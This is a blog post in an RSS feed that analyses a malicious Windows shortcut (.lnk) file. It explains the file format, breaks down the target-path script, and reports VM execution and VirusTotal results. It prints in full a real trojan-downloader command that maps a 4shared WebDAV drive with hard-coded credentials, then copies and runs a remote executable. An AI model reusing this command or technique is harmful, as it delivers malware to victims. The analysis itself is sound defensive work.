<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Abhishek Saigiridhari on Medium]]></title>
        <description><![CDATA[Stories by Abhishek Saigiridhari on Medium]]></description>
        <link>https://medium.com/@itssaiii011?source=rss-ef2c489ef9ad------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*6dp_FKBjdh-1bIsRVPghdQ.jpeg</url>
            <title>Stories by Abhishek Saigiridhari on Medium</title>
            <link>https://medium.com/@itssaiii011?source=rss-ef2c489ef9ad------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 17 Nov 2026 01:46:29 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@itssaiii011/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Under the Lens: The LNK File Investigation]]></title>
            <link>https://medium.com/@itssaiii011/under-the-lens-the-lnk-file-investigation-b0d2dd795c16?source=rss-ef2c489ef9ad------2</link>
            <guid isPermaLink="false">https://medium.com/p/b0d2dd795c16</guid>
            <category><![CDATA[lnk-files]]></category>
            <category><![CDATA[malware-analysis]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[data-security]]></category>
            <category><![CDATA[windows-shortcuts]]></category>
            <dc:creator><![CDATA[Abhishek Saigiridhari]]></dc:creator>
            <pubDate>Sun, 12 Nov 2023 12:06:30 GMT</pubDate>
            <atom:updated>2023-11-12T12:06:30.568Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lsWbVVGDOP-0t8VWVdN_0w.png" /></figure><p>Have you ever innocently stumbled upon a seemingly harmless shortcut file, thinking it’s just a gateway to a common command prompt or a legitimate application?</p><p>You’re not alone. We often underestimate the potential dangers lurking behind the .lnk files (shortcut files). But the reality is, the moment you click that seemingly innocent shortcut, the unseen damage could be devastating. Your system might be compromised, background processes could be exfiltrating your precious data, or worst of all, ransomware may have infiltrated your system, leaving you bewildered and wondering, <strong>how did a simple shortcut lead to this chaos?</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*TZlLyqgtzw0CNk_u.jpg" /><figcaption>when you realize your system has been compromised</figcaption></figure><p>In today’s digital landscape, cybercriminals have developed sophisticated tactics, and they often use .lnk files as a vehicle for delivering malware. They cleverly embed malicious code within these unassuming shortcuts, taking advantage of unsuspecting victims who simply want to access a program or file.</p><p>But fear not, for in this blog, we embark on a journey to unravel the secrets hidden within .lnk files. We will learn how to dissect these files for traces of malware. By the end of this exploration, you will be equipped with the knowledge and tools to protect your system against such subtle but potent threats.</p><h4>What are these .lnk files?</h4><p>Before we start analyzing the <strong>shortcuts</strong> let us understand what are the<strong> .lnk</strong> files, their structure and working.</p><p>Imagine you have your favorite game file in the specific folder:</p><pre>C:\Program Files\Rockstar Games\Grand Theft Auto\GTA Vice City</pre><p>So, whenever you want to play the game, you have to traverse through so many directories. Isn’t it frustrating? To solve this, windows have a file type called the .lnk which are most popularly known as shortcut files. Think of them as digital signposts that help you navigate your computer. <strong>When you double-click on a LNK file, it quickly opens the associated program or file without you having to navigate through a series of folders.</strong></p><p>LNK File Icons are usually the same as their parent file with just a minute addition of an arrow symbol.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/250/0*tfS7pa43O90Vr9Py.png" /><figcaption>Symbol which signifies a Shortcut</figcaption></figure><h4>What is the Structure of .lnk file?</h4><p>Let&#39;s say I give you a file without any extension to analyze, how would you determine that it is an .lnk file?</p><p><strong>Using Hex Editor Tool</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/627/1*3VleyXzvhaeEY0kHKpqgfQ.png" /><figcaption><strong>.lnk file opened in Hex-Editor</strong></figcaption></figure><p>A .lnk file always starts with <strong>4C (hexadecimal value)</strong> This could be the most basic identifier. You can also see the Decoded text says <strong>‘L’ </strong>which is also an identifier that the file is a .lnk file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*ISVLxsOLNCjdgP8O.png" /><figcaption>Structure of LNK file</figcaption></figure><p>The above image: specifies the Shell Link Binary File Format, which contains information that can be used to access another data object. The Shell Link Binary File Format is the format of Windows files with the extension <strong>LNK</strong>.</p><p>Understanding the important aspects of the structure of a shell link binary is very important before we dive into analyzing the file.</p><p><strong>SHELL_LINK_HEADER</strong></p><p>In the landscape of Windows shortcuts, the SHELL_LINK_HEADER is a <strong>critical starting point</strong>. It is the first structure in a Windows shortcut file (LNK), and its primary purpose is to provide essential information for the proper functioning of the shortcut. This includes information such as the file path, size, and modification time.</p><p><strong>LINKTARGET_IDLIST</strong></p><p>Its primary purpose is to store references to the locations of the target files or objects on the filesystem. Unlike straightforward paths <strong>(e.g., C:\Malicious\File.exe)</strong>, the <strong>LINKTARGET_IDLIST</strong> relies on a different mechanism. It stores references to locations within the Shell namespace using <strong>ItemIDs</strong>. In the context of malware analysis, this implies that the malware might leverage these references to disguise its target locations, making detection and analysis more challenging.</p><p><strong>These above to attributes are most essential while analyzing .LNK Files</strong></p><p>Using the <a href="https://www.sans.org/tools/lecmd/"><em>LecMd</em></a> tool we can analyze these attributes at once:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fUpeIRZTylnQdLwOm0qhfw.png" /><figcaption>Parsed content of .lnk file using LecMd Tool</figcaption></figure><p>Now that we have understood the basics of lnk files, let’s start the analysis part for which y’all have stumbled upon here.</p><h4><strong>STATIC ANALYSIS of .Lnk Files</strong></h4><p>As mentioned earlier, lets first look at the hexadecimal values of the File on Hex Editor to check if it is an .lnk file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/645/1*SK9EwpG9JBBO3yTjQz6PkA.png" /><figcaption>File opened on Hex Editor</figcaption></figure><p>Wait, isn’t this unusual? Why am I seeing <strong>4D5A</strong> (Which signifies an exe file) instead of <strong>4C000000. Does this mean, that the file isn’t an lnk? Is it an executable? Or this this lnk file pointing towards Command Prompt of Windows? Or is the lnk file corrupted?</strong></p><p>To answer all these questions lets first look at the Properties of the File:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/386/1*pKWbtuq0OdG5l9WtGVzLPQ.png" /><figcaption>File Properties</figcaption></figure><p>Here we can see that the file type is <strong>.lnk </strong>and it is a pointer towards <strong>cmd.exe.</strong><em> LecMd tool also had given us a confirmation that the file was a shortcut.</em></p><p>Well our initial assumption would be: “<strong><em>Well okay its just a shortcut to command prompt. What’s the big deal?</em></strong>” But it is very important to analyze further before reaching any conclusions.</p><p>The most important part while analyzing the shortcut file is the <strong>Target Path.</strong> The target path must simply be a pointer towards a directory or an application etc. Based on the above analysis our file’s target path must be:</p><pre>C:\Windows\System32\cmd.exe</pre><p>Let’s see if the target path matches:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/389/1*7bcOz-vGdt_zMPBL0U09zw.png" /><figcaption>Shortcut section in File Properties</figcaption></figure><p>Wait a minute!!! I do see <strong><em>C:\Windows\System32\cmd.exe </em></strong>but what is the extra code out there? Isn’t this suspicious? But why?</p><p><strong>Pointing an LNK file to a script raises suspicions in the cybersecurity realm for several reasons.</strong> Typically, LNK files direct users to executable files or documents, and the diversion to a script, deviates from this established behavior.<strong> Scripts are commonly leveraged by malware for their dynamic and versatile capabilities, enabling activities like downloading additional payloads or executing malicious commands.</strong> This departure from the norm suggests potential <strong>obfuscation tactics employed by threat actors to evade detection.</strong></p><h4>Let&#39;s see what the Script is telling us:</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GqfANDF9ZOXROtq2pvMyRQ.png" /><figcaption>Target Path script</figcaption></figure><pre>C:\WINDOWS\system32\cmd.exe /c &quot;net use Q: https://webdav.4shared.com <br>535vMke9+43=;:: /user: bakevo2673@nickolis.com &amp; <br>type \\webdav.4shared.com@SSL\ssd 10.exe &gt; 0.exe &amp; <br>forfiles /p c:\windows\system32 /m notepad.exe /c %cd%/0.exe &amp; <br>net use/d/y</pre><p><strong>Time for us to breakdown each and every statement to understand the logic behind the Script:</strong></p><pre>C:\WINDOWS\system32\cmd.exe /c</pre><p>This is the command prompt executable in the Windows system directory. It’s used to run command-line commands.</p><p>The<strong> `/c` </strong>flag<strong> </strong>is used with cmd.exe to carry out the command specified and then terminate itself.</p><pre>net use Q:</pre><p>This initiates the net use command, a Windows utility used to connect to shared resources on a network. In this case, it&#39;s aiming to create a network drive named Q.</p><pre>https[:][/][/]webdav[.]4shared[.]com</pre><p>This is the target address for the network drive, indicating that the shared resource is a WebDAV server hosted at the above given site. We will analyze the URL after understanding the whole script.</p><pre>535vMke9+43=;:: /user: bakevo2673@nickolis.com</pre><p>This seems like the <strong>username to be used for authentication</strong>. The username is <a href="/service/mailto:bakevo2673@nickolis.com">bakevo2673@nickolis.com</a> and the sequence of characters before ‘/user’ seem to be like the <strong>password or an authentication token</strong>. Though its unusual for passwords to contain semi-colon and colons. But we will get back to that later.</p><pre>&amp; type \\webdav.4shared.com@SSL\ssd 10.exe &gt; 0.exe</pre><p>This part of the command uses the <strong>type</strong> command to read the content of a file named <strong>“ssd 10.exe”</strong> from the specified network location and redirects it to a new file named <strong>“0.exe.”</strong> This could indicate an<strong> attempt to download or manipulate an executable file.</strong></p><pre>&amp; forfiles /p c:\windows\system32 /m notepad.exe /c %cd%/0.exe</pre><p>The command is a script that utilizes the forfiles command in an attempt to locate the Notepad executable file in the system32 directory and execute a specified command for each occurrence found.</p><pre>net use/d/y</pre><p>Finally, this part of the command attempts to delete the network drive Q: that was mapped earlier. The /d switch deletes the drive.</p><p><strong>All the above commands can be found in any Microsoft Documentation page. If you don’t know anything then just google by copy pasting the text between double quotes. Eg : “net use/d/y”</strong></p><p><strong>Conclusion of the Static Analysis:</strong> The use of <strong>hard-coded credentials, dynamic file downloading and execution, and attempts to delete the network drive </strong>make this command sequence highly suspicious. It suggests potential malicious activities, such as <strong>downloading and running executable files from a remote server</strong>, and then attempting to cover its tracks by deleting the mapped network drive.</p><p>Now let us check the reputation of the URL mentioned in the Script:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lNog1RYHVHngOHnRaCO56Q.png" /><figcaption>URL has been flagged by 4 vendors as Malicious.</figcaption></figure><p>The above <strong>URL</strong> has been marked as <strong>Malicious</strong> by 4 vendors on Virus-Total. <strong>This signifies that the script is trying to establish a connection with the specified site to download something.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/578/1*qY8aCCueM4BBCSowPlR8Cw.png" /><figcaption>Symantec Site-Check findings</figcaption></figure><p>The “<a href="https://sitereview.symantec.com/">https://sitereview.symantec.com/</a>” has also marked it as a <strong>Security Risk.</strong></p><p>We can never rely on a single Threat Intelligence forum for URL analysis, hence we have to cross-check with multiple sites.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*W4w4J3nImuQfjxo3Lix5SA.png" /><figcaption>checking the URL working</figcaption></figure><p>The above image confirms that the URL has directed us to a site which asks <strong>the user to enter the Username and Password. But after I tried manually entering the credentials, the authentication failed, and the site got reloaded. The site owner might have changed the password.</strong></p><h3><strong>NOW LETS TRY EXECUTING THE FILE:</strong></h3><h4><strong>PLEASE NOTE THAT THE EXECUTION HAS BEEN DONE IN A VIRTUAL MACHINE. DO NOT EXECUTE ANY MALWARE ON YOUR HOST MACHINE.</strong></h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*dpJTF41rq1QnhH8n.jpg" /><figcaption><strong>Don’t take the Risk of executing any suspicious application on your Host Machine</strong></figcaption></figure><p>On executing the file, we could see that it had opened multiple system processes. Use Process Explorer (SysInternal tools)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/792/1*ZfnDcrdFz4MIgqdZ1usCDw.png" /><figcaption>ProcExp64: Processes created by the file.</figcaption></figure><p>These processes got terminated within few seconds of execution.</p><p>net.exe was used to establish a connection with the given website and enter the given credentials.</p><p>It had also opened a Command Line Utility which said:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mnIHRhjJ7FiUR-OHSj4iRA.png" /><figcaption>Command Line utility message on execution</figcaption></figure><p>The Message states:</p><pre>System Error 1244 has occurred<br>The operation being requested was not performed because the user has not<br>been authenticated. </pre><p>The System Error 1244 occurs when the Net Use command isn’t able to authenticate its credentials on a WebDAV server. The message signifies that the username and password were wrong or had been changed.</p><h4>FILES ADDED</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/273/1*D_ixk6Niy89H9-cQZWw-uA.png" /><figcaption>0.exe was added</figcaption></figure><p>We can see here that it had dropped the 0.exe file in the same directory as the parent file. But the interesting part is that, the <strong>size of 0.exe is 0 bytes.</strong></p><p>Which means that due to failed authentication the Server couldn’t downloaded the application, and it just dropped a dummy executable file as the script stated.</p><p>All these activities coincide with the inferences that we had established through static analysis.</p><h4>THREAT INTELLIGENCE REPORTS</h4><p>On checking the sha256 of our file on Virus-Total, I found that it had been <strong>flagged by 35 out of 60 vendors</strong>. It was categorized as a <strong>Trojan Downloader,</strong> which can be confirmed through our analysis.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RBqz4FFNdC2173GEho9x7A.png" /><figcaption>Virus-Total Results for our File</figcaption></figure><p>In wrapping up our journey through the world of LNK files, it’s become clear that appearances can indeed be deceiving. Armed with our analysis, we’ve unveiled the sinister side of seemingly innocent shortcuts, confirming that the given file was, in fact, a Malware.</p><p>While we’ve only scratched the surface, there are more advanced methods, like delving into headers and footers, reserved for another day. Consider this your crash course — a basic insight into LNK file analysis. So, the next time you’re tempted to click that suspicious shortcut, think twice.</p><p>If you enjoyed this blog, don’t forget to give it a clap.👏👏</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/480/0*1wBDwBdZJbNBl6bN" /><figcaption>Do clap if this blog helped in your journey of malware analysis.</figcaption></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b0d2dd795c16" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>